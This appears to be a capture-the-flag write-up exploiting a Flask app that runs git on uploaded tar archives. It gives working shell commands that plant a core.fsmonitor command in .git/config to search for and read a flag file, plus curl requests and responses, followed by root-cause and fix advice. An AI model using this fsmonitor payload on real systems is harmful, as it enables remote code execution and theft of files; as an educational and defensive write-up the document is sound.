Summary
A Flask web app accepts a .tar upload of a "git repository" and runs git status
and git log against it to display commit stats. Because the tar is extracted with
no validation and real git commands are then executed against the result,
an attacker can upload a tar containing a crafted .git/config that sets
core.fsmonitor to an arbitrary shell command. Git executes that command
automatically when git status runs, giving server-side code execution as the
web app user.
Since the app only surfaces stderr on a failed git call, the output is exfiltrated
by having the hook touch a file named after the flag contents in the working
directory. Git's own untracked-file scan picks it up and returns the filename
directly in the JSON response under status[].path, leaking the flag without
needing any error path or out-of-band channel.
Challenge
A Flask app lets you upload a .tar of a "git repository," then hits
/stats/<id> to render commit stats (git log) and unstaged changes
(git status) for it.
def untar_to_dir(tar_path, dest_root):
os.makedirs(dest_root, exist_ok=True)
p = subprocess.run(["tar", "-xf", tar_path, "-C", dest_root], ...)
return p.returncode == 0
...
status_out, err = run_git_command(["status", "--porcelain"], repo_dir)
log_out, err = run_git_command(["log", "--numstat", ...], repo_dir)
The tar is extracted with no validation of its contents, then real
git commands are run directly against whatever ended up on disk.
Vulnerability
Nothing stops an uploaded tar from containing its own .git/config.
Git supports a config key, core.fsmonitor, that can be set to an
arbitrary shell command - when set, that command is executed by git
itself as soon as a command like git status runs (it's meant to be
a hook into a filesystem-watcher daemon, but git will happily run
anything you put there). This is a well-documented primitive (see the
2022 justCTF "buried bare repos and fsmonitor abuses" writeup).
So: upload a tar containing a crafted .git/ directory → server
extracts it → server runs git -C <dir> status --porcelain on it →
our core.fsmonitor command executes server-side.
Building the payload
git init -q repo && cd repo
git config user.email "a@a.com"
git config user.name "a"
# need at least one commit, otherwise the app's later `git log` call
# fails first and the response never gets built
echo "hello" > readme.txt
git add readme.txt
git commit -q -m "init"
# the RCE primitive
git config core.fsmonitor 'FLAG=$(find / -maxdepth 4 -xdev -type f -iname flag.txt -not -path "/proc/*" -not -path "/sys/*" -exec cat {} \; 2>/dev/null | head -c 200 | tr -d "\n"); touch -- "./LEAK_${FLAG}" 2>/dev/null; true'
rm -f .git/hooks/*.sample
tar -cf ../payload.tar .git
Exfil trick: the app only surfaces stderr when the git
subprocess itself fails (returncode != 0), and a failing fsmonitor
hook doesn't make git status fail - git just falls back to a normal
scan. So instead of trying to leak via stderr, the hook finds the
flag file and touches a new file in the working directory named
LEAK_<flag contents>. Git's own untracked-file scan (which runs
right after the hook) picks that file up, and its path - the flag
itself - comes straight back out in the JSON response.
Exploitation
curl -s -F "file=@payload.tar;filename=payload.tar" \
https://git-gud-40774c2e2c2657d0-global.challs.brunnerne.xyz/upload
# {"id":"d05777e9...","message":"Git repo uploaded and saved"}
curl -s https://git-gud-40774c2e2c2657d0-global.challs.brunnerne.xyz/stats/d05777e9...
Response:
{
"commits": [...],
"status": [
{"index": " ", "worktree": "D", "path": "readme.txt", "old_path": null},
{"index": "?", "worktree": "?", "path": "LEAK_brunner{1_gu355_u_g0t_g00d_huh?}", "old_path": null}
]
}
Flag lands directly in status[].path.
Root cause
Trusting untrusted archive contents as a real git repository and
running git commands against them. .git/config is
attacker-controlled data, and several of its keys (core.fsmonitor,
core.pager, hooks, etc.) are effectively command execution.
Fix
- Never run
git(or any tool with config-driven command execution) against an untrusted, user-supplied directory. - If repo stats are genuinely needed from untrusted uploads, parse the
git object format directly (e.g. with a pure library like
dulwich/go-gitin a sandboxed mode) rather than shelling out to the realgitbinary. - At minimum, strip/reject any uploaded
.git/config,.git/hooks/, and setGIT_CONFIG_NOSYSTEM=1plus explicit-c core.fsmonitor=false -c core.hooksPath=/dev/nullon every invocation, and run inside a locked-down sandbox (no filesystem access beyond the repo dir).
Top comments (0)